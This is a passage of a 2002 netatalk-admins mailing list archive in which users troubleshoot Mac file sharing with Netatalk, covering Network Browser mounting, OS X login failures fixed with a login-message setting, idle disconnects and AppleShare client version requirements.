style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>Burlington<=
/span></font></i></em></st1:City><em><i><font
 size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:
 yes'>, </span></font></i></em><st1:State><em><i><font size=3D2 =
face=3DArial><span
  =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>VT</span></=
font></i></em></st1:State><em><i><font
 size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:
 yes'>&nbsp; </span></font></i></em><st1:PostalCode><em><i><font =
size=3D2
  face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>05401</span=
></font></i></em></st1:PostalCode></st1:place><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>
=00
------_=_NextPart_001_01C1AE4E.86899414--

From netatalk.administrators-errors@umich.edu  Tue Feb  5 09:50:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA11318
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 09:50:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA08942
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 09:50:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA08924
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 09:50:05 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA08890
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 09:50:04 -0500 (EST)
Received: from host213-122-1-208.dial.btopenworld.com ([213.122.1.208] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16Y6v4-0001k1-00
	for netatalk-admins@umich.edu; Tue, 05 Feb 2002 14:50:02 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id OAA22171
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 14:46:14 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100303b8859c4fecaa@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Tue, 5 Feb 2002 14:46:14 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Since my last question regarding why I couldn't mount the Netatalk 
volumes via the Network Browser on a client Mac (G3 - OS 9.2.2) I 
have discovered that I also cannot mount a shared volume from another 
Mac either (I'm sure it used to work) and that other Mac (8500 - OS 
9.1) *can* mount volumes using its NB???

I have checked and both Macs use the same version of NB and all the 
NSL Manager stuff, although I do not believe that SLP is used for the 
actual mounting process.

I have also noticed that NB on the 8500 shows all services (Netatalk, 
Personal file and web sharing) in a 'Local Services' neighborhood 
within the 'Local Network' neighborhood, whereas the G3 puts all 
these services straight into 'Local Network' - there's no 'Local 
Services' neighborhood at all.

So, has anyone any ideas as to:-

Why NB on the G3 refuses to mount the Netatalk and other volumes?

What these Network Neighborhoods are all about?

Regarding the latter, I had thought these should correspond to any 
'scope' as set by the SLP server, but I tried that and created new 
neighborhoods with matching names, but NB did not actually put 
anything in them and didn't show what I had 'scoped' in that way.

Can anyone recommend any serious docs on the matter of how the NB 
operates and how best to make use of it? It all seems to be a bit of 
a black art at the moment.

BTW, this is ALL TCP/IP only, NO AppleTalk at all.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Tue Feb  5 11:01:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA15223
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 11:01:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA18853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 11:01:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA18831
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 11:01:13 -0500 (EST)
Received: from virtue.cx (CPE00a04b070651.cpe.net.cable.rogers.com [24.114.37.170])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA18798
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 11:01:12 -0500 (EST)
Received: (qmail 6809 invoked from network); 5 Feb 2002 16:01:11 -0000
Received: from unknown (HELO justice) (10.10.0.2)
  by cpe00a04b070651.cpe.net.cable.rogers.com with SMTP; 5 Feb 2002 16:01:11 -0000
Message-ID: <00ba01c1ae5e$554fb350$02000a0a@justice>
From: "Jonathan Graham" <grahamj@virtue.cx>
To: "Damien MATTEI" <Damien.Mattei@unice.fr>,
        "Paul Ruscito" <pruscito@mediaone.net>
Cc: <netatalk-admins@umich.edu>
References: <B884C2F3.3EC%pruscito@mediaone.net> <3C5F8CF1.935A9582@unice.fr>
Subject: Re: Problem logging into Suse Netatalk and OS 10.1.2
Date: Tue, 5 Feb 2002 11:01:12 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Try setting a login message in netatalk  add the following to your line in
afpd.conf

-loginmesg "Welcome to my computer"


----- Original Message -----
From: "Damien MATTEI" <Damien.Mattei@unice.fr>
To: "Paul Ruscito" <pruscito@mediaone.net>
Cc: <netatalk-admins@umich.edu>
Sent: Tuesday, February 05, 2002 2:42 AM
Subject: Re: Problem logging into Suse Netatalk and OS 10.1.2


> Paul Ruscito wrote:
> >
> > All,
> >
> > Please Help.
> >
> > I have been going crazy trying to set up a Netatalk share in suse7.2 for
my
> > Mac OS10.1.2 machine to access and am having a problem. Here goes:
> >
> > I have configured system. This is my AppleVolumes.default
> >
> > ~ "Home Directory"
> > /u02/apple_linux "Apple Linux"
> >
> > Both these shares show up after I send the login information to Linux.
As
> > soon as I try to open one it returns an error message stating that the
> > server has closed connection.
> >
> > I think I am having a clear text password problem but have no idea how
to
> > diagnose. Another thing I have noticed is that I can ping the IP of
Linux
> > but cannot ping by machine name.
> >
> > Thanks in advance,
> > Paul
> same problem with Netatalk 1.5pre2 under RedHat 7.2: when i try to
> connect from a Mac OS 10.0.4, i reach the share chooser dialog box and
> after having selected one it say that the connection has been
> interrupted.
>
> i 'd like to know what version run the people that have good experience
> with
>  Mac OS X and Netatalk?
> --
> MATTEI Damien Phone: +33 (0)4 93 37 76 66
> C.N.R.S / U.N.S.A Fax:   +33 (0)4 93 53 30 71
> UMR 6549 Instabilite & Alterations des Genomes E-mail: mattei@unice.fr
> Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France
>
>



From netatalk.administrators-errors@umich.edu  Tue Feb  5 11:40:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA17516
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 11:40:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA13611
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 11:40:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA13597
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 11:40:48 -0500 (EST)
Received: from virtue.cx (CPE00a04b070651.cpe.net.cable.rogers.com [24.114.37.170])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA13547
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 11:40:47 -0500 (EST)
Received: (qmail 7664 invoked from network); 5 Feb 2002 16:40:46 -0000
Received: from unknown (HELO justice) (10.10.0.2)
  by cpe00a04b070651.cpe.net.cable.rogers.com with SMTP; 5 Feb 2002 16:40:46 -0000
Message-ID: <011f01c1ae63$dce253e0$02000a0a@justice>
From: "Jonathan Graham" <grahamj@virtue.cx>
To: <netatalk-admins@umich.edu>
Subject: OS X logs in but quits while idle.
Date: Tue, 5 Feb 2002 11:40:47 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_011C_01C1AE39.F4006500"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

This is a multi-part message in MIME format.

------=_NextPart_000_011C_01C1AE39.F4006500
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I've got a machine running netatalk 1.5pre6 on Mandrake 8.1.  I can =
login fine (although I have to set a login message to do so).  I can use =
the files on the server with no prolems until I leave it idle for a few =
minutes (sometimes a few seconds).  At which point the server silently =
kills the connection and the next time I attempt to access the volume I =
get an "unexpectedly quit..." message.

I've tried playing with the tickle values but the result seems to be the =
same.

Any ideas?

------=_NextPart_000_011C_01C1AE39.F4006500
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I've got a machine running netatalk =
1.5pre6 on=20
Mandrake 8.1.&nbsp; I can login fine (although I have to set a login =
message to=20
do so).&nbsp; I can use the files on the server with no prolems until I =
leave it=20
idle for a few minutes (sometimes a few seconds).&nbsp; At which point =
the=20
server silently kills the connection and the next time I attempt to =
access the=20
volume I get an "unexpectedly quit..." message.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I've tried playing with the tickle =
values but the=20
result seems to be the same.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Any ideas?</FONT></DIV></BODY></HTML>

------=_NextPart_000_011C_01C1AE39.F4006500--



From netatalk.administrators-errors@umich.edu  Tue Feb  5 12:30:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA21357
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 12:30:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA11022
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 12:30:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA11004
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 12:30:35 -0500 (EST)
Received: from rhenium.btinternet.com (rhenium.btinternet.com [194.73.73.93])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA10971
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 12:30:33 -0500 (EST)
Received: from host213-122-189-66.dial.btopenworld.com ([213.122.189.66] helo=nexus.local.net)
	by rhenium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16Y9QJ-0002Dy-00
	for netatalk-admins@umich.edu; Tue, 05 Feb 2002 17:30:27 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id RAA22662
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 17:08:16 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100300b885bebd711a@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Tue, 5 Feb 2002 17:08:15 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Network Browser & SLP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Since my last post regarding:-

>
>Why NB on the G3 refuses to mount the Netatalk and other volumes?
>

I have downgraded the AppleShare extension from 3.9.2 that is part of 
OS 9.2 to 3.8.8 from OS 9.1 and guess what - SUCCESS. I can now mount 
volumes directly from the Network Browser AND aliases to the volumes 
work even if not already connected to that server.

So Apple would appear to have introduced a problem with its latest OS 
updates that prevents mounting outside the Chooser.

I'm still intrigued though as to why even with this working 
AppleShare extension this G3 does not display the 'Local Services' 
neighborhood in NB as does the 8500 - they are now both using the 
same NSL Manager version and AppleShare extn.

I would like to be able to group FTP, AFP and HTTP services into 
their own neighborhoods and I 'think' scopes can be used for this, 
but so far it's not worked. Has anyone else been able to do this with 
their Netatalk servers?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Tue Feb  5 18:03:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA16378
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 18:03:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA00266
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 18:03:45 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA00253
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 18:03:45 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA00213
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 18:03:43 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id g15N3fx13114;
          Tue, 5 Feb 2002 23:03:42 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100300b886139a6450@[192.168.201.58]>
In-Reply-To: <p05100300b885bebd711a@[10.0.1.10]>
References: <p05100300b885bebd711a@[10.0.1.10]>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Tue, 5 Feb 2002 23:03:38 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re:Network Browser & SLP
Content-Type: text/plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit

In reply to Ken Gillett's message of the 05/02/2002 at 17:08 +0000,


>I have downgraded the AppleShare extension from 3.9.2 that is part of
>OS 9.2 to 3.8.8 from OS 9.1 and guess what - SUCCESS. I can now mount
>volumes directly from the Network Browser AND aliases to the volumes
>work even if not already connected to that server.
>
>So Apple would appear to have introduced a problem with its latest OS
>updates that prevents mounting outside the Chooser.

Nope: I've just mounted one of my netatalk volumes on my iBook (OS 
9.2.2) via the Network Browser. And aliases to these volumes have 
always worked for me: I have them in my startup folder and they 
auto-mount on each reboot. Whatever it is that is causing your 
difficulties, it isn't (just) the AShare clients.

-- 
Sak Wathanasin
Network Analysis Limited

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Tue Feb  5 19:58:56 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA24218
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 19:58:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA01654
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 19:58:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA01638
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 19:58:55 -0500 (EST)
Received: from mtaout45-02 (smtp.comcast.net [24.153.64.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA01599
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 19:58:54 -0500 (EST)
Received: from comcast.net ([68.36.201.9]) by mtaout45-02.icomcast.net
 (iPlanet Messaging Server 5.1 (built Sep  5 2001))
 with ESMTP id <0GR300DP86Q5U8@mtaout45-02.icomcast.net> for
 netatalk-admins@umich.edu; Tue, 05 Feb 2002 19:58:54 -0500 (EST)
Date: Tue, 05 Feb 2002 20:42:22 -0500
From: Don Werder <aettinger1984@comcast.net>
Subject: nbprgstr: Can't register...
Sender: dhon@icomcast.net
To: netatalk-admins@umich.edu
Message-id: <3C6089FE.CF49741@comcast.net>
MIME-version: 1.0
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.5 i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
X-Accept-Language: en

I am new to netatalk. After installing and starting netatalk I could
mount shares via TCP not by DDP.
I get the following messages in the log file:

     rc.atalk.redhat: atalkd startup succeeded
     soliel nbprgstr: nbp_rgstr: Connection timed out
     soliel nbprgstr: Can't register soliel:Workstation@*
     soliel rc.atalk.redhat:   Registering soliel:Workstation: failed

Can someone tell me what is wrong and what the solution is?
Also, are there any problems running netatalk on my gateway computer?

Thanks,

Don Werder
aettinger1984@comcast.net


From netatalk.administrators-errors@umich.edu  Tue Feb  5 21:38:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA28381
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 21:38:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA15520
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 21:38:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA15501
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 21:38:27 -0500 (EST)
Received: from chmls20.mediaone.net (chmls20.ne.ipsvc.net [24.147.1.156])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA15466
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 21:38:26 -0500 (EST)
Received: from [192.168.1.100] (pruscito2.ne.mediaone.net [24.147.141.171])
	by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id g162eJx08954;
	Tue, 5 Feb 2002 21:40:19 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Tue, 05 Feb 2002 21:38:12 -0500
Subject: Re: Problem logging into Suse Netatalk and OS 10.1.2
From: Paul Ruscito <pruscito@mediaone.net>
To: Jonathan Graham <grahamj@virtue.cx>,
        Damien MATTEI <Damien.Mattei@unice.fr>
CC: <netatalk-admins@umich.edu>
Message-ID: <B8860144.405%pruscito@mediaone.net>
In-Reply-To: <00ba01c1ae5e$554fb350$02000a0a@justice>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/5/02 11:01 AM, "Jonathan Graham" <grahamj@virtue.cx> wrote:

> -loginmesg "Welcome to my computer"


YOU ARE THE MAN! It worked like a charm. Thank you so much.


From netatalk.administrators-errors@umich.edu  Wed Feb  6 10:34:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA08456
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 10:34:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA05830
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 10:34:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA05821
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 10:34:38 -0500 (EST)
Received: from isnmmp01.interpath.net (isnmmp01.interpath.net [216.48.1.27])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA05782
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 10:34:37 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by isnmmp01.interpath.net
          (Netscape Messaging Server 3.61)  with ESMTP id AAA40E
          for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 10:34:31 -0500
Mime-Version: 1.0
X-Sender: arts@pop.perigee.net
Message-Id: <a05010401b886f885c05b@[192.168.110.21]>
Date: Wed, 6 Feb 2002 10:34:30 -0500
To: Netatalk <netatalk-admins@umich.edu>
From: Arts Engraving <arts@artsengraving.com>
Subject: "Server Not Responding" -- ASIPClient 3.7.4(?)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Linux Redhat 7.2/Netatalk 1.5.0 running ASIP.

 From my box running ASIP Client v 3.8.3, using the chooser name AND 
the server ip address both connect fine. On a Mac with ASIP Client v. 
3.7.4, only the server ip address connects. The chooser name doesn't 
connect. Also the later will not auto remount upon reboot.

Is there an ASIP Client version minimum? Whats the fix?

-Wes Yates
-- 
-Wes Yates
Arts Engraving Co., Inc.
3136 May Street
Charlotte NC 28217
arts@artsengraving.com
http://www.artsengraving.com
T 704-523-5115  F 704-521-9535

From netatalk.administrators-errors@umich.edu  Wed Feb  6 10:46:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA09396
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 10:46:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA07468
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 10:46:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA07453
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 10:46:11 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA07403
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 10:46:09 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA22654;
	Wed, 6 Feb 2002 17:12:15 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 06 Feb 2002 16:46:02 +0100
Subject: Re: "Server Not Responding" -- ASIPClient 3.7.4(?)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Arts Engraving <arts@artsengraving.com>,
        Netatalk <netatalk-admins@umich.edu>
Message-ID: <B8870E4A.1B0F6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <a05010401b886f885c05b@[192.168.110.21]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 6 Feb 2002 10:34:30 -0500, Arts Engraving wrote:

> Is there an ASIP Client version minimum?

Apple recommends the following AppleShare client versions (depending on the
OS version):

  * For Mac OS 7.5.1 or earlier, use AppleShare Workstation version 3.5.
  * For Mac OS 7.5.1 up to (but not including) version 7.5.3, use
    AppleShare Workstation version 3.6.5.
  * For Mac OS 7.5.3 up to (but not including) version 7.6, use AppleShare
    Client version 3.7.4.
  * For Mac OS 7.6 up to (but not including) version 8.1, use AppleShare
    Client version 3.8.3.
  * For Mac OS 8.1 up to (but not including) version 8.6, use AppleShare
    Client version 3.8.6. If you use startup mounting, you should use
    3.8.3 instead.
  * For Mac OS 8.6 and later, use AppleShare Client version 3.8.8.

  If you use startup mounting and are not running Mac OS 9 or later, you
  should use 3.8.3 instead.

(<http://docs.info.apple.com/article.html?artnum=60792>)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb  6 10:52:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA09727
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 10:52:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA26394
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 10:52:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA26391
	for netatalk.administrators-members@umich.edu; Wed, 6 Feb 2002 10:52:36 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA26385
	for <netatalk-admins@umich.edu>; Wed, 6 Feb 2002 10:52:35 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Wed, 6 Feb 2002 10:52:34 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010403b88701a1e489@[192.168.110.21]>
In-Reply-To: <B8870E4A.1B0F6%Thomas.Kaiser@phg-online.de>
References: <B8870E4A.1B0F6%Thomas.Kaiser@phg-online.de>
Date: Wed, 6 Feb 2002 10:52:34 -0500
To: Netatalk <netatalk-admins@umich.edu>
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: "Server Not Responding" -- ASIPClient 3.7.4(?)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Wed, 6 Feb 2002 10:34:30 -0500, Arts Engraving wrote:
>
>>  Is there an ASIP Client version minimum?
>
>Apple recommends the following AppleShare client versions (depending on the
>OS version):
>
>   * For Mac OS 7.5.1 or earlier, use AppleShare Workstation version 3.5.
>   * For Mac OS 7.5.1 up to (but not including) version 7.5.3, use
>     AppleShare Workstation version 3.6.5.
>   * For Mac OS 7.5.3 up to (but not including) version 7.6, use AppleShare
>     Client version 3.7.4.
>   * For Mac OS 7.6 up to (but not including) version 8.1, use AppleShare
>     Client version 3.8.3.
>   * For Mac OS 8.1 up to (but not including) version 8.6, use AppleShare
>     Client version 3.8.6. If you use startup mounting, you should use
>     3.8.3 instead.
>   * For Mac OS 8.6 and later, use AppleShare Client version 3.8.8.
>
>   If you use startup mounting and are not running Mac OS 9 or later, you
>   should use 3.8.3 instead.
>
>(<http://docs.info.apple.com/article.html?artnum=60792>)
>
>Regards,
>
>Thomas

thanks a bunch. this needs to be in the docs :-)

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny

From netatalk.administrators-errors@umich.edu  Wed Feb  6 11:07:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA10588
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Feb 2002 11:07:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA11076
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Feb 2002 11:07:28 -0500 (EST)
Received: (from daemon@localhost)
